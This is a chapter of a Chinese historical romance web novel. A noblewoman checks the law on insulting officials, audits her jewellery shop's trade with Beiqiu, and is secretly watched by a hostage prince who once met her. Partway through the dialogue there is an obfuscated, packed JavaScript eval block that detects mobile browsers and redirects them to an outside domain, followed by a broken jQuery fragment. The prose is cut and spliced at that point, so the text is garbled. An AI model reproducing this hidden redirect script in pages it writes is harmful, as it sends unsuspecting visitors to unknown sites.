沈逸呈只觉一股热气从脖颈直冲头顶,不知是气的还是热的。
韶湘如清晰地感受到身前传来的体温灼人得很。
她的脸正抵在他胸膛处,鼻尖萦绕着衣料间逸散的清冽冷香,与他此刻灼热的体温形成鲜明对比。
柜门外的动静越发地激烈。
那两人似乎是情到浓处,拍打声、呼吸声交织,夹杂着粘稠的水声,在这密闭空间里显得格外清晰。
韶湘如正神思恍惚,头顶传来沈逸呈雾蒙蒙的声音:“按本朝律法,侮辱官吏者,轻则充军,重则杖百。”
她听见答应,想抬头继续问个明白,不料一张嘴,竟不小心含住了一处带着硬骨的肉块。
那硬骨明显地滚动了一下。
“……”
沈逸呈浑身一颤,恍如过电。
连带着衣柜都轻微晃动。
幸而外面那两人正在上头处,未察觉这柜中的异响。
“对不住!”韶湘如慌忙挪开嘴。
沈逸呈冷笑一声,掌心攥紧成拳。
“他们好像走了。”韶湘如讷讷道,试图缓解尴尬,“也是,这雅间只有软榻又无床铺,他们早晚要走,你说对吧?”
沈逸呈闭目不答,不想理她,借着柜缝透入的光瞥了眼自己的衣袍——
已经被胭脂弄脏了。
韶湘如倾耳细听,确认外头再无动静,这才小心翼翼推开柜门。
外间桌椅东倒西歪,凌乱错杂,由此可见另外两人战斗激烈了。
韶湘如还想问问那男子额身份之类,怎么他一口允诺就能把流放的罪人救出?
扭头去看沈逸呈,正欲开口,却见沈逸呈盯着满地狼藉蹙眉,眼中嫌恶几乎凝成实质。
“小侯——”
话音未落,那人已冷着脸纵身跃出窗外。
她也不想在别人云雨后的房内多留,整了整衣衫便也走了。
韶湘如走下南风馆时,暮色已沉,长街两侧的灯笼次第亮起。
她牵着马走在长街上,脑中仍回响着沈逸呈在柜中那句话。
侮辱官吏者,轻则充军,重则杖百……
以沈逸呈那古板严正的性子,应当不会骗自己。
*
第二日天刚蒙蒙亮,韶湘如便已起身。
待晨光微熹时,她径直往父亲院中去。
韶峥正整理衣冠欲出门,见她这么早过来寻自己,眉头微挑,眼中闪过一丝诧异。
这丫头往日不睡到日上三竿绝不起身的,今日怎么转了性?
韶湘如顺势垂首,端出副乖巧模样:“父亲,女儿近日想研习礼仪规范,不知可否借阅家中藏书?”
“哦?”韶峥抚须,眼中欣慰之色愈浓,“难得你有此心。为父书房里的书册你皆可一观。”
他顿了顿,又补充道:“只是今日六部有要事商议,为父需得早些过去,你自己去书房找便是。”
等的就是这句。
韶湘如唇角微不可察地翘了翘,谢过父亲,转身便去书房。
礼部尚书掌天下仪制,书房内自然收着朝廷刊印的律法典籍。
韶峥的书房就在外院,韶湘如穿过回廊时,远远望见竹林中立着个修长身影。
晨光透过竹叶,在那人月白色的衣袍上投下斑驳光影——
正是闻璟早起晨读,手持书卷喃喃诵念的模样。
两人隔着竹林相望,闻璟眼中闪过的一丝诧异,略一颔首。
韶湘如也点头致意,随即各自错开视线。
行至书房,映入眼帘的是几座高及屋顶的书架,架上整齐排列着竹简与线装书册。
韶湘如目光在书架上游走,没费多少功夫,就在书架上找到厚厚一本律册。
她将书册取下,摊在案上,逐页翻过。
看了许久,终于在某页停住——
“骂詈”条:辱骂官员者,杖一百。
“殴公差”条:调戏女官或官员家眷,徒三年,重者充军。
果然如沈逸呈所言,轻则杖责一百,重则发配充军。
倘若单此一罪不足以流放,让家族覆灭,那原主的结局,莫非是层层罪名堆叠所导致?
而如今,一切尚未发生……
她合上律册,眸色渐深。
*
又过了两日,晨光透过窗纱洒进闺房。
“桂月,备车。”韶湘如端坐妆台前,桂月正为她涂抹颈间伤处的祛疤膏,那一根细细红痕已消褪无踪。“今日我要去琳琅阁看看。”
桂月正收拾药箱,闻言笑道:“奴婢这就去安排。段掌柜昨日还差人来问呢,说是新得了一匣红宝石,若合小姐心意,便留着给您打首饰。”
原主的母亲本是江南赫赫有名的皇商之女,与韶峥青梅竹马。
嫁入韶家后,韶峥一路科考平步青云,她却因生产原主难产而亡,只留下丰厚的陪嫁——
东市小半条街的铺面。
这也正是原主能挥霍无度的底气所在。
琳琅阁便是其中最为红火的珠宝铺子,原主每月借着查账的名义,总要去搜罗最新款的首饰。
马车辘辘行了约莫半个时辰,停在一栋朱漆雕花的二层小楼前。
黑底金字的铺面牌匾上书“琳琅阁”三个字,在阳光下熠熠生辉,门前车马络绎不绝,进出的皆是衣着华贵的夫人小姐。
韶湘如刚踏下马车,段掌柜便从店内快步迎出。这掌柜约莫二十五六年纪,生得长眉星目,笑起来时眼尾微挑,颇有几分风流姿态,一袭靛青色长衫更衬得身形修长。
他眼角含笑,声音温润:“小姐可算来了!昨日等您许久不见人影,今日总算把您盼来了。”
待进了铺子,韶湘如才发觉,从柜台后的伙计到迎客的小厮,竟个个眉目俊朗,见她进来,纷纷含笑望来,眼神温柔得能掐出水来。
她忽然想起,原主从前养过十几个小帅哥,后来因李凛川从中作梗,将她那处“欢乐窝”捣毁了。
而那座宅院,似乎就在这铺子后面。
韶湘如眼角一跳,心里暗道:莫非眼前这些都是……模子哥下岗再就业?
想到这里,她一边应付着四面八方抛来的媚眼,一边轻咳两声掩饰尴尬。
一行人上了二楼。
二楼被隔断成若干雅间,专为贵客准备。
韶湘如跟着段掌柜走进最里间,只见室内陈设清雅,博古架上错落摆放着各色宝石玉器,在阳光下折射出璀璨光芒。
临街的雕花木窗半开着,窗前栽种的绿树恰到好处地过滤了街市的喧嚣,只留下斑驳的光影。
段掌柜亲自斟了茶,又吩咐伙计端来茶点,这才双手捧着账本呈到韶湘如面前。
韶湘如接过账本。
原主每次查账都是草草翻过,现下她却细细审阅起来。
账册记录极为详尽,每笔原料进货与买卖都记载分明。
韶湘如细看之下,发现每月记录都极有规律,不仅标注了市场均价,连铺子的进货价都写得清清楚楚。
最令她惊讶的是北邱的玉石原料,不知道是什么进货渠道,进货价格竟只有市价的一半。
她放下账册,一面听着段掌柜禀报,余光却瞥见几个伙计正搬着箱子进进出出。
“小姐,这是要运往北邱的货。”段掌柜见她目光落在箱子上,笑着解释道。“账册上都记着的。”
韶湘如问道:“不是说原料都来自北邱?怎么还要往回运?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15839311|175726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“小姐有所不知,”段掌柜捋了捋衣袖,“北邱虽盛产美玉,却苦于没有能工巧匠。咱们加工好的首饰运回去,在北邱贵族间可是抢手货。”
韶湘如闻言,放下茶盏道:“开箱我看看。”
段掌柜面露难色道:“小姐,这些箱子都封好了。”
见她坚持,只得叹了口气,唤来伙计搬过一箱,小心翼翼地掀开条缝给她过目。
箱内珠光宝气,确是些精工细作的首饰。
韶湘如点点头,伙计连忙合上箱盖搬走。
又听见窗外窸窣声响,她转眼望去,正见几只小鸟落在窗棂上。
她来了兴致,拿起一块佐茶的糕点,伸手递向窗外想要喂鸟。
那小鸟歪着头打量片刻,忽然低头啄了起来,惹得她发笑。
全然不知此刻阁外正有两道视线交织而来——
对面茶楼二层的雅间里,沈逸呈斜倚窗边,目光随着对面二楼内室中的动静游走。
而隔壁厢房,一个束着马尾,身穿黑衣的年轻男子也正透过窗缝,痴痴望着琳琅阁内。
“主上,该启程了。“黑衣侍卫单膝跪地,声音压得极低。
这玉玦只剩半边,断口参差,分明是摔断的痕迹,而非刻意制成两半。
这半块残玉,还是三年前上元夜,遇见韶湘如那日摔断的。
那夜的记忆在隗聿脑海中清晰如昨。
正是隆冬时节,细雪纷飞。
万家团圆之际,多年未归家的隗聿独自溜出,百无聊赖地在各家屋檐上窥看别人团聚的景象。
行至一处大宅屋檐,忽见一株红梅,在雪夜里格外明艳夺目。
隗聿轻功不错,他足尖轻点,玄色曳撒在风中猎猎作响,一个鹞子翻身就跃上墙头。
月光如水,他高束马尾,剑眉下星眸比雪更亮,手中还捏着新折的梅枝。
正要拨开眼前花枝继续采摘,忽对上一双圆睁的杏眼——
墙头梅树上,竟趴着个石榴红裙的少女。
薄雪压枝,她像只偷腥的猫儿般蜷在树杈间,绯红裙裾勾着枝桠,露出一截莹润如玉的脚踝。
“喂!偷花贼!!”
少女清亮的嗓音惊得隗聿一个踉跄,险些从墙头栽下去,手中梅枝坠入雪地,腰间玉玦也应声碎作两半。
待他慌忙稳住身形,只见梅枝簌簌颤动间,探出张明艳的小脸——
杏眼弯弯,朱唇点点,眼底盛着狡黠的光。
这墙头,竟凭空冒出个小仙子!
后来那小仙子攥着碎了的半块玉玦要挟他,非要带她翻墙去玩。
他一个长年被拘在质宫的外邦人,哪知道何处好玩?
反倒是她,拽着他逛夜市、猜灯谜,教他咬冰糖葫芦,看皮影戏。
那是隗聿十六年人生里,头一回尝到恣意妄为的甜味。
“再等等。”少年嗓音嘶哑,下颌线条绷得发白。
他看着她从铺子里走出来,却迟迟不上马车。
隗聿的手指骤然收紧。
他恨不能纵身跃下,像当年她拽着他那样,一把将她拽住,再也不松手。
他想去找她。
侍卫死死按住他的手:“主上不可!此刻现身,这多年的筹谋将功亏一篑!”
前些日子得知要离开时,他故意说了绝情话,说要分开,说永不相见。
还让她在南风馆喝得酩酊大醉。
他怕此去若事败,若刀剑无眼,若有个闪失……就再也没机会见她了。
与其让她苦等,不如自己先做那个绝情的人。
可她……会等他吗?
这个没心没肺的女人,隗聿不敢深想。
少年眼底漫上血色,猩红一片。